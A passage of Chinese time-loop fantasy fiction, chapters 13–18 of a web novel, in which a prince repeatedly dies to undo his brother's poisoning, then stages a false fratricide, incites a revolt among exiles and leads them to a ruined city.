杜光欧追上去,他的兄长听见了脚步声,没看他,只是开口道:“想办法找到那个刺客,封住她的口信。要是找不到……咳咳,找不到,消息败露出去,你也就没必要再去琉城起势。琉城离血皑太远,不好接应,如果没法让敌人忽视你、认为你已叛变,那么,把你送去反而是害你。” “……” “到时、咳……到时候,去邯泪镇吧,小妹黎梦就在那里。你去找她,告诉她发生了什么,她会通知父亲。后面,你们再听从父亲的安排。” “说这些干什么。”杜光欧道。 杜光遗转动视线,看向二弟,他目光无奈,内里似有种垂怜,“……光欧。” “我能找到刺客,父亲的计划照常,我去琉城,你回血皑复命。” 他的兄长发出一声无言的叹息,闭上眼睛,似是不愿再听。 便是在对方闭眼的空隙,杜光欧从身侧抽出配刀,架在自己肩上。 总觉得,他好像开始渐渐习惯这种事了。 “就算你不信我,我也一定能做到。我会做到。” 一刀斩下,割开阴阳的界限。 …… …… …… ……从那之后到现在,重复多少次了? 杜光欧睁开眼睛…… 刺客、匕首、兄长、短刀、血。 他已经是第几次看到这幅画面了? 仔细算算,好像是第六十八次了。 刀从女人胸口拔出,动脉喷出血浆,溅在血皑王室的面颊。 他已经洞悉刺客的所有弱点,弄清了她所有的招式。不费吹灰之力,不受任何伤害,只消一面,他即可进而杀之。 然后呢? 然后,他必须拯救杜光遗。 一想到这里,杜光欧突然感觉到胸口一阵不适,像是一口巨石压在那里,他透不过气来。 拯救杜光遗。他必须去做,那是他的兄长。尽管他们曾有不和,他也必须去做。 可是,要怎么做? 他尝试过吸出毒素,但它走的是血路,一瞬间便贯通全身。毒素蔓延之快,做什么都来不及。无论是切下杜光遗的肩,还是用布条束紧左膀,都无济于事。 他试过让人换血,却引起严重的感染,更何况,时间上也根本来不及。 为什么时间不能再回退一些,哪怕一刻都行,回到杜光遗冲过来救他那一刻,或者他们刚注意到头顶上的响动那一刻,这些时候都来得及,只要短刀还没贯穿杜光遗的肩膀,一切都还来得及。 他试过在刚回来的一瞬间以刀割喉,期望能回到上个时间节点。可是,回溯力并不如他所愿。不论他怎样挣扎,睁眼看到的,永远是同一幕。短刀插进兄长的肩膀,那刀刃明晃晃地竖立在他眼瞳中,像一根无法消去的刺。 “为什么偏偏是这个时候……”杜光欧甩掉头盔,抓乱头发,捂脸四处乱走,像不知该如何是好。 “怎么了。”杜光遗的问询传来,“她伤到你了?” 在杜光遗的视角,他一定觉得很奇怪。刺客被利落解决,威胁解除得如此之快,该感到庆幸才是。 然而,杜光欧却无法控制地折弯脊梁,只有他知道自己是被什么压垮了。 缓了片刻,杜光欧直起身,眼底写着麻木,“……我没事,只是有点累了。” 杜光遗想说什么,嘶了一声,脸色惨白,肩膀的伤分去了他的注意力。他捂着创口,像要以此解燃眉之痛,“把头盔戴上,叫医师来,让他帮我们两个都看看。” 杜光欧没有按他说的做,只是来到他身边,坐下来,眉目低垂。 “怎么。”杜光遗不明所以。 “我太没用。” 他的兄长捂着肩膀,少见地没有催促他,“……你解决了刺客,化解了危机。” “那又有什么用。” “怎么没用?” “救不回来的还是救不回来。” 杜光遗沉默半晌,道:“……我听说了远征队的事。” “……” 杜光遗道:“虽然不知发生了什么,但你回来了。你回来,他们的遗愿才能有所寄托,不算断绝。” < 13. 黄王圣祠7 《无限复活但大家都在保我》全本免费阅读 杜光遗没在这件事上纠缠,说起了别的话题,只是,他的声音却是越来越小,眼神也愈发无光,“这片大地从前不是这样……书上写,太阳曾当空高悬,花会盛开,万物生机盎然,雨水缠绵,江河流经大地,暖风徐徐吹拂,随之谷物丰收,牛羊遍野。人只需草鞋一双,水壶一只,便能从西边的叱云颠,走到东边的远海,不必畏惧严寒,也无需担忧暴雪,可以随处落脚,采野果而食。” 说到这里,他的声音兀然一顿。终于,那双疲惫的眼眸不堪重负,缓缓合上。 “光欧……我们活在一片,被神遗弃的大地上……” 眼前的人渐渐没有了生气,双眼紧闭着,像是有什么繁重的心事,死亡也无法抹消,他看上去并不安详。 杜光欧站起,拔出佩刀。 “夏天,牧野,昂然的绿地,我都不感兴趣,连做梦我都未曾到访过那种地方。”他低头,目光落在兄长不安的脸庞上,“你想让夏天回来,那就自己去做,起码,我绝对不会阻碍你。我会搬到叱云颠上去,在那寒峰上度过我的一生。” 将刀再度架在肩颈,手掌紧握刀柄。 还要重来多少次。一个声音在杜光欧脑海里盘桓。 杜光欧神情漠然,朝那声音无言回答—— 千百次,直到杜光遗活下来为止。 他一定会找到办法,不然,就让时间和他永恒凝滞在此刻吧。这并非什么奢求,而是他的决断。 他猛然发力,要用那刀再次割颈。 这套流程,他已经做得相当熟练。 避开骨骼,直取命脉,一瞬之间,他就会断气。 而这次,他也没有丝毫犹豫。 刀刃逼近,他几乎已经能感觉到生命的哀鸣。 结束这场生命,带他回到过去吧。 叮——! “什么!?” 杜光欧蓦然大睁双眼,他感受到了一股强风,手中刀势不受控制,白刃擦过他的脖颈,却未能划开血口,长刀叮一声插进地里,刀刃摇晃不定。 此刻,他只觉眼前一暗,似是有人挡住了圣祠门口的光。 察觉到身后有人,杜光欧当即转身,后退,与对方拉开距离。 视野中,一个红发男人矗立在他原本所在的位置。 那人头戴一顶防风平帽,上身盖着有些泛白的深蓝色披风,底下穿着深色毛衣和白衬衫。他下半身套着一条收腿裤,裤脚掖进皮靴里,肩上斜跨着一个浅棕色的鹿皮包,里面塞得鼓鼓囊囊。 “什么人!”杜光欧问。 男人半举双手,作投降之状,“我没有恶意!” “你是谁?” 对方没回答,只是甩了甩手,那手背上青了一块,明显是刚受的伤,“小兄弟对自己下手好狠哇。” 杜光欧打量对方,是没见过的人,陌生的脸。那头红发过于扎眼,如果自己见过,肯定不会忘记。 男人看看杜光欧,又看看一旁仰躺在地、毫无声息的杜光遗,霎时,他的表情有些惨白,“那是……呃。我是不是、是不是看到了什么不该看的?” 来者就像他自己说的,似乎的确没有什么恶意。他做的充其量不过是阻止杜光欧“自杀”。 此刻,杜光欧无暇理会他。这人从哪里冒出来,什么身份,来干什么,都不是他现在来得及考虑的。 时间在推进,再拖延下去,一切都晚了。 使用回溯力这么多次,他对能力的这个弱点非常清楚。 在今天死去只能回退到昨天,明天死去只能回退到今天——当然,这只是个易懂的说法,实际的规则,说实话,他还没有摸清。 但再拖延下去,杜光遗刚刚遇袭的那个时间节点就再也回不去了,他兄长的死将无法修改,被禁锢在名为“真实”的历史长河中,再没有回转的可能。 想到这里,他片刻不停,将刀架在脖子上。 而就在此刻,他又感觉到一阵强风袭来。 “嘿。”对面那人三两步上前,一个猛踢,将他手中长刀踢飞,铁片叮咣几声掉在地上。男人站定了身形,道,“你怎么还来啊。” 杜光欧一怔,立刻回神,转身又去拿刀。他刚提起来,对方就纠缠上来。两人四手同时握住刀柄,僵持在原地。 “别管我!”杜光欧朝对方吼道。 “哪有见死不救的道理。”男人说,手下发力,音色艰难,“不管什么原因,寻死是不对的。” 两人身高相仿,身形相近,力气势均力敌,一时分不出胜负,刀刃进进退退,始终在中间徘徊。 见情况不对,杜光欧心生一计,突然卸力。 “欸、欸欸!”失去了对抗力,男人握着刀柄,直直朝后摔去。 武器不是只有这一把,杜光欧奔向刺客的尸体,取走她手中匕首,不由分说,往自己胸口捅去。 “不是吧!”不远处,红发男人捂着磕到的后脑勺,泄气地喊道。 红刃即出,杜光欧全身紧缩,四肢僵硬,脑海泛白,痛苦地蜷缩。 意识渐远,而他心里只想着再快一点。 快点死去,然后回去,回到那个他看了很多遍,已然深入骨髓的场景。 那个像噩梦一样挥之不去的场景…… …… …… …… 他睁开眼,有些茫然,像是不知身在何处。 抬头,看到一个红发男子站在自己面前。 “不疼吗,你没有痛觉的?”那人说。 杜光欧没理会对方,他想起来自己身在何处,现在又该做些什么。 他回眸,寻找杜光遗的身影。 地上有地上一片素白,他的兄长仰面躺在其中,双目紧闭,眉目忧虑,黑色的经络包裹他的下颚,将他皮肤衬托出一种病态的苍白。 杜光欧走过去,蹲下,试探他的鼻息。伸手,掐他的脉搏。俯身,闻其心跳。 三者皆无。 “你刚才拿刀冲着自己,吓得我一激灵。”声音在背后响起,那个红头发的男人朝他走过来,边走边道,“干什么寻短见,好好活着不好吗?” 脚步停在他身边,男人驻足,也看向地上的杜光遗,“人死不能复生,节哀啊。” 他这么 14. 弄假成真1 《无限复活但大家都在保我》全本免费阅读 “对,就是你。” 男人不知是心大还是怎样,面前是个拿刀砍他脖子的疯子,他却留在圣祠里不跑,还往人眼前凑。 “我叫葛马。葛根的葛,马匹的马。” 杜光欧将兄长平放,抽出他肩膀的毒刀,解下他的白裘。那白裘上染着血,蔓开一片刺目的红。 “葛马。”杜光欧起身,擦去泪痕,像是什么也没发生一般,对他道,“我名为杜光欧,乃当今血皑城城主杜义次子。” 葛马一听,“原来是贵人啊!” 杜光欧指尖往地上一点,又道:“地上的人是我兄长杜光遗,与我发生争执,被我斩杀。这是你在黄王圣祠所见到的一切。” 葛马一脸茫然,“啊……?” “你应,往后就是我的心腹,随我征战南北,坐享战果。不应,那就是在阻碍我,我必竭尽所能要你消失在这个世界上。” 杜光欧找回精锐的头盔,戴在头上,视线冷峻地盯着对方,他们二人虽间隔几大步,但要杀葛马,对于杜光欧来说并非难事。 葛马咽了口唾沫,神情紧张,“我只是一届平民,路过而已,甚至不是你们大迁徙中的一员!这位贵人,放了我吧。” “你已经身在局中,由不得你了。” “可我有自己的事情要做呀!” 杜光欧念在这人救了他——虽然帮了倒忙,但本心不坏——所以才给了他一条活路。可这人实在多话聒噪,遂放弃与其对话,拔出长刀,用雪亮的白刃示之。 “别别,怎么这么喜欢动手。我答应你!答应你还不行吗?我虽没去过血皑,但我知道城王子意味着什么。我惹不起你,我就不该多管闲事,我认栽。”葛马说,这一连串话说得极快,生怕一言不和对面的人就动手似的,“你要我说什么我就说什么,要我做什么我就做什么,别拿那把刀在我眼前示威了好吗,我害怕。” 这人话太碎,吵得杜光欧脑袋疼,直想从他噪音的范围里离开。刀锋归鞘,他提着杜光遗带血的白裘,头也不回往外走,“在我回来之前,看住这里,不准让任何人进来。别想着逃,我不会走太远。” “什么人会来啊?我守不住怎么办?” “给我拼死守住。现场完好,你也完好。现场破坏,你也一样。” 杜光欧离开了,只有话语的尾声传进来。 圣祠中只余红发男人一人,他龇牙咧嘴,不禁感叹,“嚯,这条件真不赖……” 杜光欧离开圣祠,走下台阶。远处,人们聚集在一起,拾拢地面的枯草,没有木柴,只能借着一点火星取暖。队伍出发时间已过,几个士兵在四处寻找杜光遗的身影。 杜光欧走向关押他的木车,董家的二姐妹仍待在那里,见他来了,似是为了不暴露他们认识,董莉莉只小心翼翼地朝他招手。 杜光欧绕到木车的另一侧,握住车顶横梁,一个翻身跳到车厢顶部。他摘下头盔,随意一扔,真面目便就此公之于众。 他听到董家姐妹惊愕的吸气声,“等等,光欧,你不能……” 头盔坠地的撞击声吸引来不少视线,他们抬高下颚,视线聚焦在高处之人。 这辆车位处队伍的最中间,是最不易受袭的位置,押送一届流放者,倒显得过于仁慈了。现在,它变成了绝妙的宣讲台,杜光欧位于其上,俯望着地上的人们。 有士兵认出他来,指着他,口型是在叫他二殿下。 杜光欧吸了口气,使出了他浑身气力,震声而道:“在场的各位壮士、父老,你们离开血皑,想必有诸多不愿。” 现在,所有人都在看他了。 精锐兵面面相觑,一时群龙无首,满头雾水,“二殿下怎么出来的,大殿下人呢?” 杜光欧望着那些流放者,继而说道:“血皑城里有我们的基业,有我们的家人,城主杜义却让我们抛弃那些。他曾经信口开河,美言道,先一步去琉城的人,便可先一步成为当地权贵,可他往琉城输送几年人口了?两年了。琉城还是那副烂泥扶不上墙的鬼样子。它发展不起来,是因为杜义从来没想要扶持它。他要我们去,可他给我们足够建造房屋的壮丁了吗?没有。给足我们繁衍生息的女人了吗?没有。给我们用以播种粮食的种子了吗?没有。给我们幼鹿和鱼苗了吗?没有!他给了我们一个空想,期望我们在美梦中冻死边陲,来减少他城池中不堪重负的人口压力。” “这小子……看着眼熟啊。”叼着一根纸烟的男子道。 “像是要闹事。” “不管是谁,站出来说这些话,要么有点本事,要么就是个疯子。” “再听听看吧。” 精锐闻讯而来,向车旁聚拢,“抓他下来!大殿下不在,你们该做什么都不知道吗!?” 士兵的声音贯彻四方,杜光欧听闻,道:“对了,还有大殿下。人见人爱,亲和有礼的大殿下。他呢,他又为这一切做过什么?押送你们到琉城,尽他那点微不足道的善心,制造他在乎你们的假象。但不要忘了,他是杜义的儿子,血皑城城主的第一顺位继承人,他的权力无人可及,他若要增加迁徙队伍的配备资金,只消一句话的事。但从结果来看,他为你们争取过吗?——没有!” 先赶来的三五精锐冲上前,却被几个流放者拦住。那些人里有囚犯,有老当益壮之人,也有触犯军规的将士。他们被视为血皑所不需要的负载,被血皑抛弃,加入迁徙队伍,远走他乡,满腹怨言。 借人多势众,他们圈住精锐,让后者无法接近木车。 流放者与王室精锐的关系很微妙,虽然一直保持着表面的平和,可若聊及过去,这些流放者中的囚犯,有不少是被他们亲手抓进牢中。 难得一场好戏,这伙人在路上走得腻烦了,只想让戏演得长一点。 “哟,兵老爷这么急啊。” “让开!” “又不碍事,就当听个乐,让人把话说完呗。” 围在木车前的流民当中,一个瞎 15. 弄假成真2 《无限复活但大家都在保我》全本免费阅读 可除那领队以外的士兵则没有那么幸运,他们被夺去刀刃,拆下甲胄,割断喉咙。 动乱者拥有了武器,他们愈发猖狂,一刀接一刀,他们胡乱向包围圈中心捅去,白刃一柄接一柄染红。 杜光欧跳下车,骚乱仍在继续。 这只迁徙队伍由杜光遗押送,且流放者人数众多,相应地,精锐力量也不容小觑,一时半会儿,反叛者和士兵们是分不出胜负的。 有两道凝望他的视线投来,杜光欧侧目,发现那是董家姐妹。她们躲在拉车的驯鹿身后,瞪大了眼睛盯着他。 “姐……”董夜明扯了扯董莉莉的袖子,小声在她耳旁说道,“跑吧。一开始就不该混进迁徙大队,杜家人早就疯了。” 董莉莉眉头紧皱,不动作,也不言语,她反复注视着杜光欧两只眼睛,像想要从那愤怒的双眸中看出什么来似的。 杜光欧亦是沉默,人多眼杂,现在还什么都不能说。董莉莉会相信刚才那番话吗?可能吧,也可能不信。那番话,真假掺半,因为只有这样听上去才真实。而董莉莉知道他们家的情况,他曾和她在漫漫远征路上倾吐过。她听过他对杜光遗的抱怨,听过他对家庭的索求,知道他从小被奶娘养大,渴望家人认可,又求而不得。求而不得,时间长了,人心就会扭曲。人心扭曲,就什么都会做。 这时,有个人影从骚乱中脱离,朝他们走来。杜光欧望去,那是一度朝他搭话的刀疤男。 “殿下,您方才那番话,实在鼓舞人心。”男人笑着说,他个头比杜光欧高上几许,此刻,男人昂着脖子,俯视他口中尊称的殿下,“我和我几个兄弟们都打算跟着您。只不过,我想先看看杜光遗的死状。” 听闻,杜光欧皱眉,阴沉地盯着他。 “别误会,我不是不信您杀了他,只是那高洁之人死后会变成什么模样,我很好奇。” 这份解释苍白无力。杜光欧心知肚明,这帮人不亲眼看到死去的杜光遗,他们就不会信。自己和兄长有血缘关系,和他们却没有。人们下意识不相信血脉相残,因为大家都是人,换位一想,这种事没有正常人做得到。 “跟上。”杜光欧转头,往圣祠的方向走。经过董家姐妹身边时,他驻足,道,“你们也是。” 让她们独自留在这里太危险了,那帮反叛者热血上头,什么事都做得出来。就算董家小妹董夜明好像有些身手,但流放者人数众多,董夜明再怎么厉害,也没法保护好她和她姐。 董莉莉模样有些犹豫。而董夜明脸色不善,对她姐姐道:“走吧,姐,别和这帮人纠缠了!” 杜光欧一听,猛然捉住董莉莉的手腕,与她四目相接。他有话想说,但又不能说,只能目光灼然地盯着她,“不相信我吗?” “放开她!”董夜明喊。 然而,她刚要出手,却被刀疤男拦下。 “欸——小妹妹,我劝你乖乖听话。” “你——!”董夜明没料到对方的动作,被捉住双手,失了先机。她挣脱不开,又踢又踹,和刀疤男扭打在一起。 “放开我。”董莉莉语气淡淡的,对杜光欧道。她面色镇定,看不出心思,“我自己会走,并且,我会亲眼去看。” 杜光欧松了劲,两人的手各自垂落,而视线仍焦灼在对方眼中,无言地对着话。 刀疤男也松开了手,董夜明一计猛踢踹过去,借势迅速拉开距离,回到姐姐身边,“姐,你疯了,还要跟他走?他都把他哥——” “走吧。”董莉莉说,盯着杜光欧。 “走吧。”杜光欧道,先行转身,在前带路。 一行人离开嘈杂的战场,向黄王圣祠走去。 远离了那纷挠的骚乱,他们来到了祠堂门口。门口清清冷冷,只有门旁站着一个人影。 那人看到他们来了,摇臂招呼着。 “贵人,你可算回来了!” 杜光欧走进圣祠,路过葛马时,给了对方一个眼神。对方倒是机灵,也微微朝他点点头。 刀疤男进入祠堂,抬头环视,感慨一声,“他娘的,钱都花在这种鬼地方来了。” 男人低头,看到了那倒圣祠正中的白衣之人。他走到近前,蹲下去,伸手捏住杜光遗毫无血色的脸,左右拨弄,“还真死了。” 他又朝下看去,突然,目光一亮,他解下杜光遗的佩剑,“这剑不赖。” 刀疤男抬头,向一旁一直沉默不语的杜光欧道:“剑我可以拿走吧?” “随你。”杜光欧道。 利剑出鞘,刃面反射着圣祠外的月光,剑身笔直,通身雪白,就像是它的主人一样。 刀疤男对其爱不释手,只是,他显然平时不怎么用剑,竟以握刀的姿势拿它,用它肆意挥砍。 “好东西,有没有能试剑的地方啊。”他如此说着,往四周看去,却无所收获。 紧接着,他视线一落,而后,嘴角扬起一个阴险的笑容。 “那就用你吧。” 利剑高举,猛然下劈。剑刃切割白裳,断开松弛的筋脉,割裂□□,砌进骨骼。 “呀!”看到男人如此动作,董家二妹惊叫出声。 “好剑,好剑!”男人连连称赞。 剑进得太深,随着他拔剑,地上的人也被拽起来,随后,与那剑断开连系,又坠落下去。刀疤男看了眼尸体上身的裂口,用手抹去剑刃上的血污,笑道:“就是这身白裳彻底不能要了,可惜,可惜。哈哈哈。” 他利刃归鞘,心情似乎非常高涨,“殿下,以此剑为誓,从今往后,我吴代将永远追随您。” 杜光欧满脸阴郁,声音低沉,“以杜光遗的剑发誓,不是什么好选择。” “哈哈,怎么,难道这剑曾经的主人不是一个信守承诺的人?”吴代大笑,问道。 杜光欧看着他,眼中精光毕现,只是,正在兴头上的吴代丝毫未能察觉。 大错特错,大错特错。杜光遗很少做出承诺,但他实现了做出的所有承诺。他答应永不干涉杜光欧的远征事务,他做到了,即便这代表城内事务都压在他一人肩上。他答应要给子民一个不再遍布严寒的生存环境,农民涌进城市,耕地向城内迁 16. 弄假成真3 《无限复活但大家都在保我》全本免费阅读 董夜明叫道:“姐,他没亲口说不是他动的手!你可别上来就默认他的清白。” 这时候,在旁观摩许久的葛马似是回过味来。杜光欧已经指出刺客,就代表他在这两姐妹之前不必说谎,也就是说,这两姐妹可以信任,可以将事实告诉她们。 葛马嘴上闲不住,加入这场争论,道:“我能作证,我都看到了,贵人是清白的,他还差点为他哥殉身呢,要不是我拦住他,他也没了。” “什么?”董夜明面容扭曲,难以置信。 杜光欧幽怨地看了葛马一眼,那眼神的意思是,你别在那随意放屁。 葛马却没看到杜光欧投来的眼神,继续道:“他搂着他哥哭,起来之后,突然就像变了个人似的。他告诉我说,让我对所有人都说是他杀了他哥。贵人,你出去之后,我就守在门口,虽然离得远,但你那番宣言,我也都断断续续听见了,你当真是个狠人呐。不过,你这么做图什么哇?” 这嘴快得根本拦不住。杜光欧感到一阵无奈,他长舒一口气,懒得和他计较。 转首,他对董莉莉道:“接下来我要去琉城另立名目,必须与血皑交恶,使城内的复权派对我放松警惕,才能最终出其不意。” 他简单几句话交代了立场,对面的人一下子就明白过来。忧愁染上董莉莉的双眉,她张张嘴,似乎有什么话含在口中,但最终没说。 “你没必要和我走,回血皑去吧。”杜光欧对董莉莉道,“把今天在这里看到的全都忘记,只记住我说过的话。离开这座圣祠以后,我就是杀害杜光遗之人,任何人面前,都要这么说。” “我……”董莉莉敛眸,欲言又止。 一旁,董夜明走向黄王圣像,要找杜光欧口中所说的尸体。她来到侧面,目光投向圣像身后的阴影,身形突然有些僵硬。女孩注视着那倒下的躯体,迟迟未能挪步。 祠堂正中,扶着杜光欧的董莉莉一时没有说话,她抓住自己裙角,使力撕开了昂贵的布料。裙子下面还有条白色长裤,像软乎乎的白云,看着很暖和。她捉起杜光欧的左手,将布条缠在伤口上,为他包扎。 见她不言语,杜光欧又道:“莉莉……” “一年前,爸阻拦我,关我禁闭,不让我再去远征。”董莉莉打断他,一边包扎伤口,一边说道,“我逃了出来,但那时你们已经上路了。我在血皑等了一年,一年之后,只有你一个人活着回来。” “谁都有缺席的时候,像洛笛那样的积极份子,也有不在的时候。” “可是,不一样。光欧,我们两人,一直是那只队伍生存的导向。但那最后一次,我没有在你们身边。” “最后发生的事完全是我的责任。”杜光欧道。他想起当时的情况,雪崩突如其来的袭击了他们,他们在连绵的雪峰上一路逃亡,最终只有他一人侥幸生还。如果,当初,他没有选择那条路,如果董莉莉在,为他们制定一条更安全的道路,一切都会不一样。但是,现在说这些没用,这不是没在场的人的错,这是他的错,“是我盲目自信,带领整只队伍走上了一条绝路。” 董莉莉缓慢地摇头,以这种形式否定着他,“不是你的问题,不是你的错。我应该在的,我应该追上你们,但是我从来没一个人出过城,我退缩了。” “你一个人当然不能贸然——” 董莉莉捂住杜光欧的嘴,不让他开口,“我没鼓起勇气,这是对我的惩罚。” “唔……” 董莉莉看着他,眼中有坚定,有决绝,也有零星破碎的光,“所以这次,我瞒着我爸,混进了迁徙的队伍。我要接我的远征队回家,在他们每一个回到血皑之前,我也不会回到我的故乡。” 杜光欧注视着董莉莉,他几度想开口,可良久也没再说什么。 这时候,董夜明回来了。女孩似是脑袋里装着事,步伐有些恍惚。 董莉莉见她过来,叫了她两声,董夜明半晌才反应过来。 “你刚说什么,姐?”董夜明问。 “我要和迁徙队伍一同前往琉城。” “不回家了?” “我不回去了。夜明,你先藏在这附近,等我们带着这帮人走了,你再返回血皑城。” “你让我留你一个人跟着这家伙?”渐渐地,董夜明人刚才的恍惚中回过神来,她皱着眉头,一脸不赞同,“出门前,妈让我照顾好你,这是她交代给我的任务。你要是不回血皑,我也不回。” “夜明。”董莉莉厉声道。 “我一个人回去,你想让妈骂死我啊?”董夜明一扭头,不再看她,意思是没得商量。 祠堂外传来激烈的叫嚷声,反叛者和官兵的战争似乎分出了胜负。 此刻,挑起争端的主使必须要出面了。 杜光欧站起来,脸色仍有些苍白,可是,他不得不走了。 “记住,我现在是血皑城的敌人。牢记这一点。”他最后嘱咐道。 董莉莉轻声应,“嗯。” “你也要记住。”杜光欧对董夜明道。 “知道了,麻烦。”董夜明没什么好气地说。不知道为什么,女孩看到刺客的尸体之后,好像突然有了改观,不再揪着杜光欧弑兄一事不放。 “你们快出去吧。”杜光欧道,“还有,葛马,黄王圣像后面的那具尸体,你负责让它消失。拿走她的匕首和短刀,藏起来别被人看见。小心别被划伤,不然没人能救你。结束之后,跟着她们,待在夏潜的灵车附近。” 葛马哀嚎:“消失是要怎么做啊?!” 杜光欧没理他,低头,深深地看了倒在地上的杜光遗一眼。 只在这片刻间,他下定了什么决心,目光抽离,头也不回往圣祠门口而去。 外面的情况非常混乱,流放者和精锐双方都死了人,有人趁乱逃了,还有人被吓得蜷缩在地。 杜光欧在旁望了一阵,以留给葛马解决尸体的时间,等了片 17. 初入琉城1 《无限复活但大家都在保我》全本免费阅读 “手持武器的人,我允许你们保有手中的刀剑,那是你们凭实力为自己赢来的。但从现在开始,我不愿见血,你们已经放纵过,泄过愤,我不想再看到无意义的争斗。”杜光欧宣告着,视线扫过芸芸众人,“现在,所有人还原队形。手持武器者出列,你们的任务是保证附近成员的状态。曾有货运职务之人,维持你们的职务不变。吴代,你断后。” 这只队伍比出城时少了一半,有的人在这场乱战中死去,有的人不看好杜光欧所能带来未来,趁着混乱逃了。 白驯鹿依然走在前方,成为整只队伍的导向。但是,那上面的白裘白裳之人已然不在,取代他的人满面风霜,衣衫破旧,目光决然。 遵循杜义的计划,杜光欧带领这只队伍昼夜前进,赶往琉城。 ## 琉城位于挚忘峡之上,三面被河水包围,呈一凹陷的铁蹄状,只有南部一条路能上山入城。它是一座荒破的城市,据说,一百年前,黄王带领子民来到挚忘峡,在此建立琉城。一片欣欣向荣时,灾难突如而至,陨石群从天而降,砸毁城市,灭绝子民。 自那之后,很长一段时间,琉城被人们认为是神明所厌弃之地,无人敢修复残垣,唯恐天灾再次降下。 杜光欧的远征队未曾到达过琉城,其一,那里文明衰落,很难有资本展开贸易,其二,它与远征队的目的地总是不顺路。虽然队员夏潜总是嚷嚷着改天要去琉城见见义姐,但他又不接受让队伍绕路。他总说这是他自己的事,夏家当年被流放,是夏家自身有问题,杜光欧作为王室,为了他们改变行进路线,其目的要是传出去,立场肯定会遭到质疑。那未满二十的大男孩信誓旦旦道,早晚有一天,他会创立一只队伍,亲自带队去琉城,把鹿和牛带去,把锦缎带去,把财富和人口带去,让他被流放的义姐过上富裕的日子。 但是,这个愿景终是没有实现。 而当下,琉城近况如何,杜光欧也并不清楚。 从黄守之森到琉城大概有半月路程,之间有小镇可以落脚,整体不算辛劳。 半月后,这只稍显疲惫的队伍终于登上挚忘峡,远远望见峰顶有一黑色的小点,那便是琉城了。 随着距离接近,黑色的小点扩大成一座死气沉沉的城市。他们面前是一道城墙,高耸入云,墙壁用花岗石所筑,看上去刚建成不久。 城门口有两个人,坐在木椅子上,脚下放着一套木盆木杵,里面盛有捣碎的苔类植物。 队伍浩浩荡荡而来,瞬间把那小城门堵得水泄不通。 杜光欧引鹿上前,城门口把守的两人早就看到了这支队伍,友善地迎上前来。 “是新一批迁徙来的人吧,不巧,前阵子刚修好了城门,你们只能慢慢通过了。”其中一人道。 两人身着厚棉衣,没有片甲,手旁没有像样的兵器,那样子远称不上武装,相较血皑城的城防力量而言,他们甚至连哨兵都算不上。他们显然不起防御的作用,守在城门边,更像是替人通风报信的。 不过,为谁通风报信? 又是谁为这座毫无生机的城市修建了城墙? 琉城里现在已经有势力盘据了吗? 兄长曾说,会有人在琉城接应他,虽然目前还没有看到任何熟悉的身影,但会不会和他看到的景象有所关连? 怀揣疑问,杜光欧率领众人入城。 进了城,放眼望去,城内尽是些低矮的石头房,形状凌乱,毫无布局可言,大抵都是用倒塌的建筑废料临时拼凑而成,勉强能看出有人生活的迹象。临近城门是一大片平地,在百年之前,它应是一处大型集市。 杜光欧向下传达指令,让队伍在这片广场上稍作停留。 即使是这样一座破败的城市,人们似乎也为抵达了安身之所而感到踏实。二三低语从人堆里传来,“你将来有什么打算”、“你是因什么被加入迁徙名单的”、“血皑城里还有你的家人吗”、“你曾经是个什么样的人”,人们交换着对彼此的了解。这些人经历了相同的遗弃,有着相同的际遇,在某种程度上愿意互相理解。历经半月跋涉,互相扶持,竟也形成了一种自发的凝聚力,此刻,竟是有种疲倦、平和的氛围弥漫在整只队伍中。 杜光欧找到董家姐妹和葛马几人,一路上,他们都守在夏潜的灵车旁。那个喜欢戴黑色围巾的少年,此刻正躺在那车中,一片寂然。 姐妹二人看上去有些疲倦,依偎在一起,分食一块干瘪的熏肉,葛马看上去还很有活力,好奇地打量着周围的景色。 见他来了,董莉莉提起一丝精神,对他道:“光欧,我大概看了看这附近,这地方还说得过去。悬崖下就是水路,有好多栖息在其中的飞禽。来的路上,我看到了许多野牛,野菜也有不少,是有足以让人们形成聚落的自然资源在的。” 董莉莉眼里能看到这些,和她在远征队中的本职工作脱不开。这几乎形成了一种条件反射,每到一个新环境中,她就不由自主地观察周围的地貌,分析生态构成,判断附近可能存在的猛兽,以及有哪些可以利用的自然资源。即使路途劳累,她的脑海里恐怕也停不下来。 “休息一下吧,我去周围看看情况。”杜光欧道。 “我也去。”董莉莉挣扎着,从车轮旁站起来。 杜光欧制止了她,城内情况尚不明朗,还是他一人去探查为妙。 杜光欧把白鹿引过来,那通人性的生灵朝他撒娇,反复顶他的腰。 “……别闹。”杜光欧抓住鹿角,让它消停下来,“纳七饿了,为了赶路都没怎么让它吃野苔。等你休息好了,帮我去溜溜它吧。” “好吧。”董莉莉答。 葛马瞪羚似的跳过来,问:“那我呢,贵人?” “你继续守着灵车。”< 18. 初入琉城2 《无限复活但大家都在保我》全本免费阅读 “白熠,白先生。”对方答。 杜光欧一惊,还真是那个没心没肺的。 “快带我去。” 女人引着杜光欧穿过小巷,来到一片住宅区。 他们走了一阵,停一个石屋前,杜光欧看到门旁挂着一个刻着“十一舍”字样的牌子。 两人推门进入其中,顿时,一股热气扑面而来。 屋子里很宽敞,用石墙像模像样地隔了一间客厅出来,再往里走便是居室。客厅当中摆着一个巨大的火盆,那股热浪便是由此扑来。 在抖动的热气后面,有两个人影,面对面围着一个木桌,正在交谈些什么。 “采撷基本以六七天为周期,路途有些远,但是很必要。近城资源是最后的保障,没有发生特殊情况,一般不选择动用。和兔子不食窝边草是一样的道理。” “太冷了,我不想离城那么远。” “嗯……”另一男人沉吟。 “对不起,我太多事了,但是熠哥,能不能帮忙想想,还有没有别的适合我的活?” “你体力好,要是不想出城,留下帮忙修复建筑也可以。” “这个我行。” 杜光欧绕过火盆,看清了攀谈的二人,其中一个身形魁梧,健硕有力,却裹着两层大棉袄,显得整个人臃肿不堪。对面的另一个人,留着一头白发,发丝微曲,长及腰际,离远了看会以为是个老头,但他那张脸却不符合这个称呼。 白发男注意到的杜光欧,眼睛笑眯眯的,“哦,人来了。” 棉袄男见了来人,问:“熠哥,你客人?” “算是。”白熠答。 “那我不打扰,先走了。” 杜光欧往那一站,一声不吭,下颚微昂,目光略有藐视之意,给人一种无形的压迫。 棉袄男瞅着气氛不对,眨眼就溜了。 木门一关,引路的女人也跑了。 白熠却笑盈盈的,往木椅上一栽,舒适极了,“干什么,上来一个字不说,用那种要吃人的眼神盯着我。一年没见,你不想我?” “我想你——”教养让他住口,即使是在这个狼心狗肺的败类面前,也不能失态,“你怎么在这?解释。” “你不知道?”白熠故作惊讶,看着杜光欧的表情,他了然一般,“好吧,你不知道。” 